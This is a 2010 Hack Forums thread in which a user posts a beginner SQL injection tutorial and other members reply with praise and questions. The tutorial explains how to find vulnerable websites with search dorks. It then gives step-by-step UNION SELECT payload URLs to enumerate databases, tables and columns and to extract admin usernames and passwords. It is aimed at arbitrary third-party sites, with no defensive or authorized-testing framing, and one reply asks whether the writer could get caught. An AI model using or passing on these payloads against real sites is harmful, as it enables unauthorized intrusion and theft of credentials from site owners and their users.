Hack Forums
[TUT]How To Code In SQLI [TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT]How To Code In SQLI [TUT] (/showthread.php?tid=469384)

Pages: Pages 1 2


[TUT]How To Code In SQLI [TUT] - ADIL - Jun 8, 2010

This Is My 1st Tut Post
[img]http://i47.[censored].com/alozv9.jpg[/img]
Introduction:

Sqli (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one. Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin.

Finding Sites to Inject:

Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks.
Spoiler (Click to View)
Pick one of those dorks and add inurl: before it
(If they do not already have it) and then copy and paste
it into google. Pick one of the sites off google and go to it.
For example the url of the page you are on may look like this
Code
http://www.example.com/index.php?id=3
To check that it is vulnerable all you have to do is
put a ' at the end of the url. So now your url should
Look like this
Code
http://www.example.com/index.php?id=3'
Press enter and you get some kind of error. The errors will vary
but it should look something like this
[img]http://i982.photobucket.com/albums/ae308/blink1337/1.png[/img]
Getting Number of Columns
After you find your vulnerable site the first step you need to take is
to find the number of columns. The easiest way to do this is
use the statement "order by". All you have to do is put ORDER BY (number)--
at the end of your url. So it should look like this.
Code
http://www.example.com/index.php?id=3 ORDER BY (number)--
You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.

For example

Spoiler (Click to View)
Lets say on order by 8-- you get an error page. This means that the website has 7 columns because
it will give you errors on anything over 7. If you have a bad memory you should open notepad and
write the # of columns you find.
[img]http://i982.photobucket.com/albums/ae308/blink1337/2-1.png[/img]
Finding Acsessable Columns

Now that we have the number of columns we need to get the column numbers that we can grab information from.
We do this by by using the "Union" "select" and Number of columns. You put them together in your
url like this
Code
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
For the end part of the url, (1,2,3,4,5,6,7) You put the number of columns
you found in the first step. Since I found that the site I was testing had 7
columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.
After you do that you should get something like this...
[img]http://i982.photobucket.com/albums/ae308/blink1337/3.png[/img]
The page should look a bit fucked up and there should be 2 numbers on the page.
These two numbers are the colum numbers we can get information from. We will replace them with statements later on so
write them down or remeber them.
Finding MySQL Database Version
The reasons you need the database name is to see weather or not the website is worth your time
because any msql database under 5 you will have to blindly guess the table and column names.
If you are a begginer and you find that the database is below 5 I urge you to find
a different site.

Now we take one of the numbers that we found from the step above and replace it with @@version
For Example, before our url looked like this
Code
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
Now since we will replace the 1 with @@version
Code
http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--
Press enter and now the page should display the database number.
[img]http://i982.photobucket.com/albums/ae308/blink1337/4.png[/img]
Now the number that we had in the first step will be replaced with the database number. As it shows above
The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on
this site.
Finding Database Names
Next we are going to inject the website to find the database names. We do this by replacing @@version
with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
So now our url should look like this
Code
http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
You should get something like this when you go to that url.
[img]http://i982.photobucket.com/albums/ae308/blink1337/5.png[/img]
It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with
concat(database()) and delete + from+information_schema.schemata So the url should now look like this
Code
http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
[img]http://i982.photobucket.com/albums/ae308/blink1337/6.png[/img]
Finding Table Names
To get table names of current database you need to replace concat(database()) with group_concat(table_name)
and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
+ signs from the union select. Now your url should look like this
Code
http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--
The page should now show the Table names. You may want to write them down.
[img]http://i982.photobucket.com/albums/ae308/blink1337/untitled-1.png[/img]
Finding Column Names

This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.
So your url should look like.
Code
http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
This should give you the column names. You may want to write them down.

Lets say they gave us back the cloumn names
admin_username
admin_password

Getting Information
Now we can have the database name, table names, and colomn names we can put them together and
pull information from them. Do to this we need to put the following in our url.
Code
http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information
for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
With the database name and the table name the column names where in. After all this your url should look something
like this.
Code
http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
Now you should get usernames and passwords for the admin or what ever information you wanted to get.

Now you should know the basics of sqli. Enjoy! I put alot of work into this tutorial so I hope you guys like it.
If have any questions feel free to pm me or add me on my msn or aim. There are probably a few mistakes in this tutorial, I will fix them


* - Cyandelta_CG - Jun 8, 2010

Nice tut;

Put all the dorks in a spoiler / coder tag tho :D


* - ADIL - Jun 8, 2010

thanks brother
mesg 2 short


* - Kalinga - Jun 9, 2010

Well done mate! Explained in a very lucid and noob-friendly manner. Much appreciated!


* - ADIL - Jun 9, 2010

(Jun 9, 2010 02:12 AM)srinivas4761 Wrote:  Well done mate! Explained in a very lucid and noob-friendly manner. Much appreciated!

Thanks Mate !
Spoiler (Click to View)


* - daneuchar - Jun 9, 2010

well explained .. well done ! adil bhai


* - Eweshi - Jun 9, 2010

Very nice tut, thanks alot :P


* - Tayne_the_entertainer - Jun 10, 2010

Can i get caught by doing this? I stopped after finding the table names...


* - z3pt0seC - Jun 10, 2010

This is SQL injection.
Doesnt show how to code in SQL
Nice tut though.


* - drackor1991 - Jun 10, 2010

Great! Thank you, I've learned a BUNCH from this TUT


* - BladeCNH - Jun 10, 2010

(Jun 10, 2010 12:30 AM)vricks Wrote:  This is SQL injection.
Doesnt show how to code in SQL
Nice tut though.

Damn man you stole my words.
OH yes, change the title of the thread.


* - breathhacker - Jun 11, 2010

When finding the site that is it vulnerable or not...if we land on the main page...then what does it means.


Error

Table 'information_schema.tables' doesn't exist


* - !!!! - Jun 11, 2010

I love it man,I think this is the best sqli tut in hackforums


* - chinagash - Jun 12, 2010

Great Tutorial.. Thank you.. I've learned again a lot from this tut..
Nice work


* - Cacos - Jun 23, 2010

Thank you mate, was kinda curious about SQLi, and you explained it in a way that even a 4 year old kid would understand :D

Great Job!